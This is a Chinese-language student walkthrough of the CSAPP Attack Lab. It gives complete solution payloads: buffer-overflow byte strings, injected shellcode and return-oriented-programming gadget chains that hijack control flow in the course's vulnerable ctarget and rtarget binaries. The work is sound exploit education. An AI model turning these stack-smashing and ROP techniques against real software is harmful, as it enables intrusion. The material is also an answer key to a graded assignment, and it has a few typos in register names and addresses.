CSAPP attack lab

Attack_LAB

image-20231219160940326

1.执行文件变成汇编
objdump -d ./ctarget > ctarget.s

2.有时候需要注入汇编代码,因此需要把想要的汇编代码需要转成二进制
gcc -c ans.s
objdump -d ans.o > ans.txt

3.结果,答案写在 exeample.txt,需要通过./hex2raw去注入
./hex2raw < exeample.txt | ./ctarget -q

重要的指令

RET:先把rsp指向的地址放入rip,再把rsp指针向下移动(x86-64 ,栈是向下增长的,所以栈深度减小等于rsp地址增加,stact增长8个字节<=>rsp=rsp-8)

POP rax: 先把rsp指向的地址放入 rax 寄存器,再把rsp指针向后移动(x86-64 缩小8个字节,rsp=rsp+8)

PUSH rax: 再把rsp指针向前移动(x86-64 增加8个字节,rsp=rsp-8),再把rax的值让如 rsp指向的地方

phase_1

level 1

test(){
	getbuf()
     xxx
	return
}
通过溢出
1. test()->touch1()

原本getbuf执行完毕ret之后,执行rsp所指的代码,目的是通过getbuf写如的内容溢出到ret 之后rsp所指地址,走到目标代码

gdb调试ctarget,使用-q 不连接服务器

有了答案,先到ans1.txt,转化为二进制作为getbuf的内容,让ctart 读取
./hex2raw < ans1.txt > ans1.hex
gdb调试 接收getbuf的内容
gdb  ctart
r < ans1.hex

image-20231219161220379

test汇编

image-20231219161110542

test调用 call getbuf 之后栈帧结构,由于getbuf执行完之后,需要执行下一行代码(0x401976),所以把代码地址保存再栈上面如下0x5561dca0 - 0x5561dca2,一个地址保存一字节,小端存储(低地址0x5561dca0保存最低位76)

image-20231219161110542

可以验证

image-20231219170202518

getbuf汇编

image-20231219161053446

进入getbuf,call gets之前的栈帧结构

可以看到rsp,往下40(0x28)个单位,变成了0x5561dc78

image-20231219161053446

走到gets方法 输入0123456789查看栈的样子,从rsp(0x5561dc78)作为起点,开始填充我们输入的内容

image-20231219170202518

可以验证 (小端存储,高地址保存内容的低位)

image-20231219170202518

所以我们要输入43的字符,40个填充buff缓冲区,剩下3个40 17 c0填充ret指向touch1的地址

由于提示读取文件所以要得到0x4017c0,文本中应该是

c0 17 40

所以答案,保存在ctarget1.txt中

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

image-20231219170412388


公式

查看 getbuf 的代码,看栈大小,例如sub rsp,0x28,就是40

答案:填入40个00,然后再填touch1地址(0x4017c0),小端,低地址存放低位,就是c0,17,40


level 2

test(){
	getbuf()
     xxx
	return
}
通过溢出
1. test()->touch2()

2. 比较cookieval是否相同
void touch2(unsigned val)
{
  vlevel = 2; /* Part of validation protocol */
  if (val == cookie)
  {
    printf("Touch2!: You called touch2(0x%.8x)\n", val);
    validate(2);
  }
  else
  {
    printf("Misfire: You called touch2(0x%.8x)\n", val);
    fail(2);
  }
  exit(0);
}

已知cookie在cookie.txt中(0x59b997fa)

val的参数是%rdi中,

想要让val==cookie, 因此需要手动给val赋值为 0x59b997fa,即(mov 0x59b997fa %rdi)

为了实现这个步骤,不能直接修改之前的ret,跳入touch2,需要先mov 0x59b997fa %rdi之后再进入touch2

思路:

  1. ret -> mov 0x59b997fa %rdi
  2. ret->touch2
movq $0x59b997fa,%rdi   #1.getbuf执行完之后 ret 直接到这段代码
pushq $0x004017ec  		#2.跳到touch2的地址
retq   #ret:弹出rsp指向的地址,作为下一条要执行代码的地址。会让rsp+8

修改ret的地址为0x5561dc78

执行0x5561dc78的汇编代码

ret到touch2

注入之后的栈机构

image-20231220112823637

把汇编转化为机器代码(十六进制的表示)

image-20231220110724164

把汇编转化为机器代码(十六进制的表示)

bf fa 97 b9 59 68 ec 17 40 00 c3

转成十六进制

image-20231220112823637

根据上图buff答案 cat result_1_2_ans.txt

栈顶是0x5561dc78,从这里开始读代码(bf fa 97 ….)

image-20231220112616836

bf fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

movq $0x59b997fa,%rdi   #1.getbuf执行完之后 ret 直接到这段代码
pushq $0x004017ec  		#2.跳到touch2的地址
retq   #ret:弹出rsp指向的地址,作为下一条要执行代码的地址。会让rsp+8

结果

./hex2raw < result_1_2_ans.txt | ./ctarget -q

image-20231220113837068


公式

先看getbuf,rsp减小后的位置,例如sub rsp,0x28之后的值(rsp2

然后写汇编

movq cookie,$rdi
pushq touch2地址
retq

然后生成.o目标代码,gcc -c 汇编代码.s

生成十六进制格式 objdump -d 汇编代码.o > 汇编代码.d

答案:汇编.d + 00填满栈大小(0x28),最后一行写 rsp2 位置


level 3

跟phase_2差不多,跳到touche3,比较cookie和val,只不过是先把cookie转化为字符串,rdi也需要输入相同的字符串,此时rdi保存的是地址而不是上一步的立即数,因此只需要把phase_2的立即数变成字符串(每个字符都是assic码)

cookie=0x59b997fa

因此val=”59b997fa\0” = 0x35 39 62 39 39 37 66 61 00

可以把这个存在某个addr 然后 mov addr rdi

addr的选取不能在buf中因为touch3的栈会覆盖那中间的内容,所以存在test的栈上,可设置再ret的栈之后

由于ret占8byte,所以addr的起始地址应该是 0x5561dca0+0x8=0x5561dca8

所以汇编

mov  0x5561dca8  %rdi
pushq 0x4018fa
ret

得到十六进制代码

gcc -c  result_1_3_asm.s
objdump -d  result_1_3_asm.o >  result_1_3_asm.d
cat result_1_3_asm.d

image-20231220113837068

此时栈如下所示

image-20231220113837068

按高地址到低地址填充

48 c7 c7 a8 dc 61 55 68

fa 18 40 00 c3 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

78 dc 61 55 00 00 00 00

35 39 62 39 39 37 66 61 00

./hex2raw < result_1_3_ans.txt  | ./ctarget -q

image-20231220113837068

总结:phase2 和 phase3 的流程是,getbuf走完,回到 0x5561dca0 ,ret指令读取该函数的出的下一条指令地址,设置到rip上,rip发现是 0x5561dc78 ,执行这里的代码,这里的代码包含pushq $0x4018fa,设置touch函数的地址到栈顶,最后再ret,把rip设置为$0x4018fa(touch方法的地址),就正常执行touch代码。


公式

先看cookie的位置,getbuf sub rsp,0x28之前,rsp+8就是,cookie指针(rsp1

再看getbuf,rsp减小后的位置,例如sub rsp,0x28之后的值(rsp2

然后写汇编

movq rsp1,$rdi
pushq touch3地址
retq

然后生成.o目标代码,gcc -c 汇编代码.s

生成十六进制格式 objdump -d 汇编代码.o > 汇编代码.d

答案:汇编.d + 00填满栈大小(0x28),后面一行写 rsp2 位置, 再后面一行写cookie的ascii(字符串不按小端来排,直接顺序就是字符串顺序)


phase_2

level 2

Level 2 要求使用 ROP 攻击跳转到 touch2 函数,栈的地址现在不知道了,没办法直接通过地址赋值。

思路:把cookie放在栈顶,使用 gadget 的汇编代码,来为rdi赋值,之后跳转到touch2

#getbuf() ret 之后
popq %rax #把栈顶的cookie弹出到rax
movq %rax, %rdi #把rax的值赋给rdi

从 rtarget.s 寻找对应的gadget

popq %rax ret
对应的机器码为 58 c3,对应的地址为 0x4019ab (58 90 c3)  (90代表 nop 可忽略)

image-20231220112616836

movq %rax, %rdi  ret
对应的机器码为 48 89 c7 c3
对应的地址为 0x4019c5 (48 89 c7 c3)  (90代表 nop 可忽略)

image-20231220112616836

1 Getbuf 执行了rsp=rsp+40,还没执行到 ret 之前,rsp 指向 getbuf 下一条指令的地址

image-20231220112616836

2 Getbuf 执行了ret,弹出 rsp 所指的指令地址(0x4019ab)到rip,然后 rsp 向下rsp=rsp+8

image-20231220112616836

3 使用 rip 所指的 0x4019ab 处的指令,准备开始执行( popq %rax ret )

4 pop rsp所指的cookie的值到rax,rsp=rsp+8;再ret,弹出rsp所指的地址(0x4019c5)到rip,rsp=rsp+8

image-20231220112616836

5 使用rip所指的 0x4019c5 处的指令,准备开始执行(movq %rax, %rdi ret)

6 执行(movq %rax, %rdi ret),把rax赋值给rdi,再 ret 把 rsp 所指的touch3的地址复制给rip,rsp=rsp+8

image-20231220112616836

6 使用rip所指的 ()touch3 处的指令

构造buf溢出

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

ab 19 40 00 00 00 00 00 < - rsp (1.getbuf还没ret,这段代码对应popq %rax ret)

fa 97 b9 59 00 00 00 00 < - rsp (2.getbuf 执行 ret,弹出0x 4019ab地址到rip,rsp指向当前cookie的值)

c5 19 40 00 00 00 00 00 < - rsp (3.pop上面cookie之后指向这里,这段代码对应movq %rax, %rdi ret)

ec 17 40 00 00 00 00 00 < - rsp (3.执行pop ret之后,弹出上面的(0x4091c5)rip,rsp指向touch3的地址)

结果

./hex2raw < result_2_1_ans.txt | ./rtarget -q

image-20231220112616836

level 3

思路:栈随机化之前是 mov add %rdi(addr是cookie字符串的地址),再push touch3地址, 再ret。

现在不知道具体地址了,只能通过偏移量来找到addr的具体值,并且使用gadget不能一步完这几步,所以选择

movq $rsp, %rdi ret #把rsp基址设置到 rdi
popq %rsi ret       #把偏移量 地址设置到 rsi
callq 0x401d6<add_xy>   #把rdi+rsi=addr,cookie的最终地址
movq %rax, %rdi ret		#把addr赋值给rdi 后面跳到touch3

由于并找不到movq $rsp, %rdi retpopq %rsi ret ,所以需要多操作几步来完成。

movq $rsp, %rdi ret  #把rsp基址设置到 rdi
等价->
movq %rsp, %rax ret # 48 89 e0 c3
movq %rax, %rdi ret # 48 89 c7 c3

popq %rsi ret  #把偏移量 地址设置到 rsi
等价->
popq %rax     
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi

找到例如以下的gadget

image-20231220112616836

48 89 e0 c3

image-20231220112616836

48 89 c7 c3

综上最后代码是这样的

movq %rsp, %rax ret
movq %rax, %rdi  ret
popq %rax        ret 
movl %eax, %edx  ret
movl %edx, %ecx  ret
movl %ecx, %esi  ret
callq 0x4019d6<add_xy>
movq $rax, %rdi  ret

getbuf溢出代码

30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
06 1a 40 00 00 00 00 00     //addval_190: movq %rsp, %rax 
a2 19 40 00 00 00 00 00     //addval_273: movq %rax, %rdi 
ab 19 40 00 00 00 00 00     //addval_219: popq %rax 
48 00 00 00 00 00 00 00    //偏移地址 
dd 19 40 00 00 00 00 00     //getval_481: movl %eax, %edx 
69 1a 40 00 00 00 00 00     // getval_311: movl %edx, %ecx 
13 1a 40 00 00 00 00 00     //addval_436: movl %ecx, %six 
d6 19 40 00 00 00 00 00     //<add_xy> 
c5 19 40 00 00 00 00 00      // setval_426: movq %rax, %rdi
fa 18 40 00 00 00 00 00      // touch3 地址 
35 39 62 39 39 37 66 61 00   //cookie字符串: 59b997fa 

原理同上

 ./hex2raw < result_2_3_ans.txt | ./rtarget -q

image-20231220112616836